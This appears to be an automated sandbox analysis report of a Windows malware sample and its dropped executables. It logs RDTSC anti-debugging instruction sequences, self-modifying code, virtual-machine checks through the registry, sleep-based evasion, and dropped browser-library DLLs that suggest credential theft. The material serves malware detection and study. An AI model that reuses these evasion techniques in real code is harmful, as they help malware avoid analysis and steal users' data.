Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F001E7 second address: 4F00241 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDF21133AD4h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, esi 0x0000000a jmp 00007FDF21133AD0h 0x0000000f push eax 0x00000010 jmp 00007FDF21133ACBh 0x00000015 xchg eax, esi 0x00000016 pushad 0x00000017 mov bx, si 0x0000001a movzx esi, di 0x0000001d popad 0x0000001e mov esi, dword ptr [ebp+08h] 0x00000021 push eax 0x00000022 push edx 0x00000023 push eax 0x00000024 push edx 0x00000025 jmp 00007FDF21133AD5h 0x0000002a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F00241 second address: 4F00247 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F00247 second address: 4F00261 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDF21133ACCh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, edi 0x0000000a pushad 0x0000000b mov cl, BEh 0x0000000d push eax 0x0000000e push edx 0x0000000f mov dx, 24ECh 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F00261 second address: 4F00350 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDF21054975h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a push eax 0x0000000b pushad 0x0000000c mov ax, di 0x0000000f pushfd 0x00000010 jmp 00007FDF21054973h 0x00000015 sub ax, 834Eh 0x0000001a jmp 00007FDF21054979h 0x0000001f popfd 0x00000020 popad 0x00000021 xchg eax, edi 0x00000022 jmp 00007FDF2105496Eh 0x00000027 test esi, esi 0x00000029 pushad 0x0000002a pushfd 0x0000002b jmp 00007FDF2105496Eh 0x00000030 xor al, FFFFFFF8h 0x00000033 jmp 00007FDF2105496Bh 0x00000038 popfd 0x00000039 pushfd 0x0000003a jmp 00007FDF21054978h 0x0000003f or ax, ED58h 0x00000044 jmp 00007FDF2105496Bh 0x00000049 popfd 0x0000004a popad 0x0000004b je 00007FDF93082C6Ch 0x00000051 push eax 0x00000052 push edx 0x00000053 pushad 0x00000054 mov esi, edi 0x00000056 pushfd 0x00000057 jmp 00007FDF21054977h 0x0000005c sub cl, FFFFFFCEh 0x0000005f jmp 00007FDF21054979h 0x00000064 popfd 0x00000065 popad 0x00000066 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F00350 second address: 4F0037B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDF21133AD1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 cmp dword ptr [esi+08h], DDEEDDEEh 0x00000010 push eax 0x00000011 push edx 0x00000012 jmp 00007FDF21133ACDh 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F0037B second address: 4F00381 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F00381 second address: 4F003B4 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDF21133AD3h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b je 00007FDF93161D57h 0x00000011 push eax 0x00000012 push edx 0x00000013 push eax 0x00000014 push edx 0x00000015 jmp 00007FDF21133AD0h 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F003B4 second address: 4F003C3 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDF2105496Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F003C3 second address: 4F00407 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDF21133AD9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov edx, dword ptr [esi+44h] 0x0000000c jmp 00007FDF21133ACEh 0x00000011 or edx, dword ptr [ebp+0Ch] 0x00000014 pushad 0x00000015 jmp 00007FDF21133ACEh 0x0000001a push eax 0x0000001b push edx 0x0000001c push eax 0x0000001d push edx 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F00407 second address: 4F0040B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F0040B second address: 4F004A7 instructions: 0x00000000 rdtsc 0x00000002 pushfd 0x00000003 jmp 00007FDF21133ACEh 0x00000008 adc eax, 72E2A5F8h 0x0000000e jmp 00007FDF21133ACBh 0x00000013 popfd 0x00000014 pop edx 0x00000015 pop eax 0x00000016 popad 0x00000017 test edx, 61000000h 0x0000001d pushad 0x0000001e pushfd 0x0000001f jmp 00007FDF21133AD4h 0x00000024 adc si, 8058h 0x00000029 jmp 00007FDF21133ACBh 0x0000002e popfd 0x0000002f push esi 0x00000030 mov ecx, edi 0x00000032 pop edi 0x00000033 popad 0x00000034 jne 00007FDF93161CEBh 0x0000003a jmp 00007FDF21133ACEh 0x0000003f test byte ptr [esi+48h], 00000001h 0x00000043 push eax 0x00000044 push edx 0x00000045 pushad 0x00000046 push ebx 0x00000047 pop eax 0x00000048 pushfd 0x00000049 jmp 00007FDF21133AD9h 0x0000004e jmp 00007FDF21133ACBh 0x00000053 popfd 0x00000054 popad 0x00000055 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F004A7 second address: 4F004DB instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007FDF2105496Fh 0x00000009 or si, 51DEh 0x0000000e jmp 00007FDF21054979h 0x00000013 popfd 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F004DB second address: 4F004F2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 jne 00007FDF93161C85h 0x0000000d pushad 0x0000000e mov dx, si 0x00000011 push eax 0x00000012 push edx 0x00000013 mov si, 90BBh 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F004F2 second address: 4F00510 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDF21054970h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a test bl, 00000007h 0x0000000d push eax 0x0000000e push edx 0x0000000f push eax 0x00000010 push edx 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F00510 second address: 4F00514 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F00514 second address: 4F0051A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EF0853 second address: 4EF08AF instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDF21133ACDh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esp], ebp 0x0000000c jmp 00007FDF21133ACEh 0x00000011 mov ebp, esp 0x00000013 pushad 0x00000014 mov ax, D5DDh 0x00000018 mov bx, cx 0x0000001b popad 0x0000001c and esp, FFFFFFF8h 0x0000001f pushad 0x00000020 call 00007FDF21133AD2h 0x00000025 mov ebx, eax 0x00000027 pop ecx 0x00000028 mov edx, 708A24B2h 0x0000002d popad 0x0000002e push ecx 0x0000002f pushad 0x00000030 mov dx, si 0x00000033 mov dx, cx 0x00000036 popad 0x00000037 mov dword ptr [esp], ebx 0x0000003a pushad 0x0000003b pushad 0x0000003c push eax 0x0000003d push edx 0x0000003e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EF08AF second address: 4EF08C3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 mov bx, cx 0x00000007 popad 0x00000008 mov dh, ch 0x0000000a popad 0x0000000b push ebp 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f mov eax, edi 0x00000011 pushad 0x00000012 popad 0x00000013 popad 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EF08C3 second address: 4EF08C9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EF08C9 second address: 4EF08F5 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDF21054976h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov dword ptr [esp], esi 0x0000000e pushad 0x0000000f mov eax, 05D7BAEDh 0x00000014 push eax 0x00000015 push edx 0x00000016 mov ecx, 3C26780Fh 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EF08F5 second address: 4EF0911 instructions: 0x00000000 rdtsc 0x00000002 mov eax, 2CDC862Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a mov esi, dword ptr [ebp+08h] 0x0000000d push eax 0x0000000e push edx 0x0000000f jmp 00007FDF21133ACDh 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EF0911 second address: 4EF0A25 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007FDF21054977h 0x00000009 sbb cx, 4F7Eh 0x0000000e jmp 00007FDF21054979h 0x00000013 popfd 0x00000014 mov esi, 61BDE5C7h 0x00000019 popad 0x0000001a pop edx 0x0000001b pop eax 0x0000001c sub ebx, ebx 0x0000001e pushad 0x0000001f call 00007FDF21054979h 0x00000024 mov ax, D3A7h 0x00000028 pop ecx 0x00000029 call 00007FDF2105496Dh 0x0000002e jmp 00007FDF21054970h 0x00000033 pop esi 0x00000034 popad 0x00000035 test esi, esi 0x00000037 pushad 0x00000038 pushfd 0x00000039 jmp 00007FDF21054977h 0x0000003e and si, AC4Eh 0x00000043 jmp 00007FDF21054979h 0x00000048 popfd 0x00000049 movzx eax, di 0x0000004c popad 0x0000004d je 00007FDF9308A323h 0x00000053 jmp 00007FDF21054973h 0x00000058 cmp dword ptr [esi+08h], DDEEDDEEh 0x0000005f pushad 0x00000060 push eax 0x00000061 pop eax 0x00000062 jmp 00007FDF21054977h 0x00000067 popad 0x00000068 mov ecx, esi 0x0000006a push eax 0x0000006b push edx 0x0000006c jmp 00007FDF21054975h 0x00000071 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EF0A25 second address: 4EF0A2B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EF0A2B second address: 4EF0B07 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 je 00007FDF9308A2D6h 0x0000000e pushad 0x0000000f call 00007FDF21054975h 0x00000014 pushfd 0x00000015 jmp 00007FDF21054970h 0x0000001a add eax, 090ED318h 0x00000020 jmp 00007FDF2105496Bh 0x00000025 popfd 0x00000026 pop eax 0x00000027 jmp 00007FDF21054979h 0x0000002c popad 0x0000002d test byte ptr [76FB6968h], 00000002h 0x00000034 pushad 0x00000035 pushfd 0x00000036 jmp 00007FDF2105496Ch 0x0000003b sbb ah, FFFFFFA8h 0x0000003e jmp 00007FDF2105496Bh 0x00000043 popfd 0x00000044 pushfd 0x00000045 jmp 00007FDF21054978h 0x0000004a adc eax, 36BE6708h 0x00000050 jmp 00007FDF2105496Bh 0x00000055 popfd 0x00000056 popad 0x00000057 jne 00007FDF9308A23Fh 0x0000005d pushad 0x0000005e pushad 0x0000005f mov dx, A9E4h 0x00000063 mov edx, 3ED68050h 0x00000068 popad 0x00000069 popad 0x0000006a mov edx, dword ptr [ebp+0Ch] 0x0000006d push eax 0x0000006e push edx 0x0000006f jmp 00007FDF21054972h 0x00000074 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EF0B07 second address: 4EF0B4E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDF21133ACBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebx 0x0000000a jmp 00007FDF21133AD6h 0x0000000f push eax 0x00000010 jmp 00007FDF21133ACBh 0x00000015 xchg eax, ebx 0x00000016 push eax 0x00000017 push edx 0x00000018 push eax 0x00000019 push edx 0x0000001a jmp 00007FDF21133AD0h 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EF0B4E second address: 4EF0B5D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDF2105496Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EF0B5D second address: 4EF0B9A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDF21133AD9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebx 0x0000000a jmp 00007FDF21133ACEh 0x0000000f push eax 0x00000010 push eax 0x00000011 push edx 0x00000012 jmp 00007FDF21133ACEh 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F00BC7 second address: 4F00BD7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FDF2105496Ch 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F00BD7 second address: 4F00C00 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDF21133ACBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b xchg eax, ebp 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007FDF21133AD5h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F00C00 second address: 4F00C1F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDF21054971h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d mov ecx, 3F070719h 0x00000012 popad 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F806FC second address: 4F80702 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F80702 second address: 4F807A2 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDF21054973h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c pushad 0x0000000d pushfd 0x0000000e jmp 00007FDF2105496Fh 0x00000013 add esi, 0591B72Eh 0x00000019 jmp 00007FDF21054979h 0x0000001e popfd 0x0000001f pushfd 0x00000020 jmp 00007FDF21054970h 0x00000025 or ax, 2CA8h 0x0000002a jmp 00007FDF2105496Bh 0x0000002f popfd 0x00000030 popad 0x00000031 xchg eax, ebp 0x00000032 jmp 00007FDF21054976h 0x00000037 mov ebp, esp 0x00000039 push eax 0x0000003a push edx 0x0000003b jmp 00007FDF21054977h 0x00000040 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F807A2 second address: 4F807A7 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F708E3 second address: 4F708E7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F708E7 second address: 4F708EB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F708EB second address: 4F708F1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F708F1 second address: 4F7094B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 call 00007FDF21133AD5h 0x00000008 pop eax 0x00000009 call 00007FDF21133AD1h 0x0000000e pop eax 0x0000000f popad 0x00000010 pop edx 0x00000011 pop eax 0x00000012 xchg eax, ebp 0x00000013 pushad 0x00000014 push eax 0x00000015 push edx 0x00000016 pushfd 0x00000017 jmp 00007FDF21133AD3h 0x0000001c jmp 00007FDF21133AD3h 0x00000021 popfd 0x00000022 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F707EC second address: 4F70809 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDF21054979h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F70809 second address: 4F7081A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edi 0x00000004 pop eax 0x00000005 push ebx 0x00000006 pop esi 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop ebp 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f pushad 0x00000010 popad 0x00000011 rdtsc

Tries to evade debugger and weak emulator (self modifying code)

Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: D2DC8A instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: DB2EC7 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: F1DC8A instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: FA2EC7 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1007496001\02e4e14003.exe	Special instruction interceptor: First address: 8A4B71 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1007496001\02e4e14003.exe	Special instruction interceptor: First address: 8A4A2D instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1007496001\02e4e14003.exe	Special instruction interceptor: First address: A5DF91 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1007496001\02e4e14003.exe	Special instruction interceptor: First address: AD45D9 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1007497001\074873f122.exe	Special instruction interceptor: First address: FFB8B0 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1007497001\074873f122.exe	Special instruction interceptor: First address: 11A65FA instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1007497001\074873f122.exe	Special instruction interceptor: First address: FF955A instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1007497001\074873f122.exe	Special instruction interceptor: First address: 11D0641 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1007497001\074873f122.exe	Special instruction interceptor: First address: 11AFBD5 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1007497001\074873f122.exe	Special instruction interceptor: First address: 1233F1B instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1007498001\7afc94686a.exe	Special instruction interceptor: First address: 10AF8DE instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1007498001\7afc94686a.exe	Special instruction interceptor: First address: 10AF9B7 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1007498001\7afc94686a.exe	Special instruction interceptor: First address: 127CACF instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1007498001\7afc94686a.exe	Special instruction interceptor: First address: 1268722 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1007498001\7afc94686a.exe	Special instruction interceptor: First address: 12DDFCA instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1007500001\2a8ef8d829.exe	Special instruction interceptor: First address: CADCB4 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1007500001\2a8ef8d829.exe	Special instruction interceptor: First address: E4F8C4 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1007500001\2a8ef8d829.exe	Special instruction interceptor: First address: E4E1BB instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1007500001\2a8ef8d829.exe	Special instruction interceptor: First address: E73A24 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1007500001\2a8ef8d829.exe	Special instruction interceptor: First address: EE48FE instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1007497001\074873f122.exe	Special instruction interceptor: First address: 684DCB4 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1007497001\074873f122.exe	Special instruction interceptor: First address: 69EF8C4 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1007497001\074873f122.exe	Special instruction interceptor: First address: 69EE1BB instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1007497001\074873f122.exe	Special instruction interceptor: First address: 6A13A24 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1007497001\074873f122.exe	Special instruction interceptor: First address: 6A848FE instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1007497001\074873f122.exe	Special instruction interceptor: First address: 6852C8C instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1007500001\2a8ef8d829.exe	Special instruction interceptor: First address: CB2C8C instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1007497001\074873f122.exe	Special instruction interceptor: First address: 6B0DCB4 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1007497001\074873f122.exe	Special instruction interceptor: First address: 6CAF8C4 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1007497001\074873f122.exe	Special instruction interceptor: First address: 6CAE1BB instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1007497001\074873f122.exe	Special instruction interceptor: First address: 6CD3A24 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1007497001\074873f122.exe	Special instruction interceptor: First address: 6D448FE instructions caused by: Self-modifying code
Source: C:\Users\user\DocumentsJDGCFBAFBF.exe	Special instruction interceptor: First address: BEDC8A instructions caused by: Self-modifying code
Source: C:\Users\user\DocumentsJDGCFBAFBF.exe	Special instruction interceptor: First address: C72EC7 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1007497001\074873f122.exe	Special instruction interceptor: First address: 6B12C8C instructions caused by: Self-modifying code

Source: C:\Users\user\AppData\Local\Temp\1007500001\2a8ef8d829.exe	Memory allocated: 4E10000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Local\Temp\1007500001\2a8ef8d829.exe	Memory allocated: 5050000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Local\Temp\1007500001\2a8ef8d829.exe	Memory allocated: 4F70000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Local\Temp\1007500001\2a8ef8d829.exe	Memory allocated: 4A40000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Local\Temp\1007500001\2a8ef8d829.exe	Memory allocated: 4C10000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Local\Temp\1007500001\2a8ef8d829.exe	Memory allocated: 6C10000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Local\Temp\1007500001\2a8ef8d829.exe	Memory allocated: 5350000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Local\Temp\1007500001\2a8ef8d829.exe	Memory allocated: 5690000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Local\Temp\1007500001\2a8ef8d829.exe	Memory allocated: 7690000 memory reserve \| memory write watch

Source: C:\Users\user\AppData\Local\Temp\1007500001\2a8ef8d829.exe	Registry key queried: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4d36e968-e325-11ce-bfc1-08002be10318}\0000 name: DriverDesc
Source: C:\Users\user\AppData\Local\Temp\1007500001\2a8ef8d829.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: SystemBiosVersion
Source: C:\Users\user\AppData\Local\Temp\1007500001\2a8ef8d829.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: VideoBiosVersion

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_04F70CDC rdtsc

0_2_04F70CDC

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread delayed: delay time: 180000	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007500001\2a8ef8d829.exe	Thread delayed: delay time: 922337203685477
Source: C:\Users\user\AppData\Local\Temp\1007500001\2a8ef8d829.exe	Thread delayed: delay time: 922337203685477
Source: C:\Users\user\AppData\Local\Temp\1007500001\2a8ef8d829.exe	Thread delayed: delay time: 922337203685477

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window / User API: threadDelayed 1185	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window / User API: threadDelayed 356	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window / User API: threadDelayed 991	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window / User API: threadDelayed 1044	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window / User API: threadDelayed 955	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007496001\02e4e14003.exe	Window / User API: threadDelayed 9175	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007499001\ad0f88d42c.exe	Window / User API: threadDelayed 505

Source: C:\Users\user\AppData\Local\Temp\1007498001\7afc94686a.exe	Dropped PE file which has not been started: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1007498001\7afc94686a.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\freebl3[1].dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1007498001\7afc94686a.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\vcruntime140[1].dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1007496001\02e4e14003.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\unmYCIPOHmXNjqOesrEy.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1007498001\7afc94686a.exe	Dropped PE file which has not been started: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1007498001\7afc94686a.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\msvcp140[1].dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1007498001\7afc94686a.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\softokn3[1].dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1007496001\02e4e14003.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\service123.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1007498001\7afc94686a.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\mozglue[1].dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1007498001\7afc94686a.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\nss3[1].dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1007498001\7afc94686a.exe	Dropped PE file which has not been started: C:\ProgramData\softokn3.dll	Jump to dropped file

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 7764	Thread sleep count: 1185 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 7764	Thread sleep time: -2371185s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 7784	Thread sleep count: 34 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 7784	Thread sleep time: -68034s >= -30000s	Jump to behavior
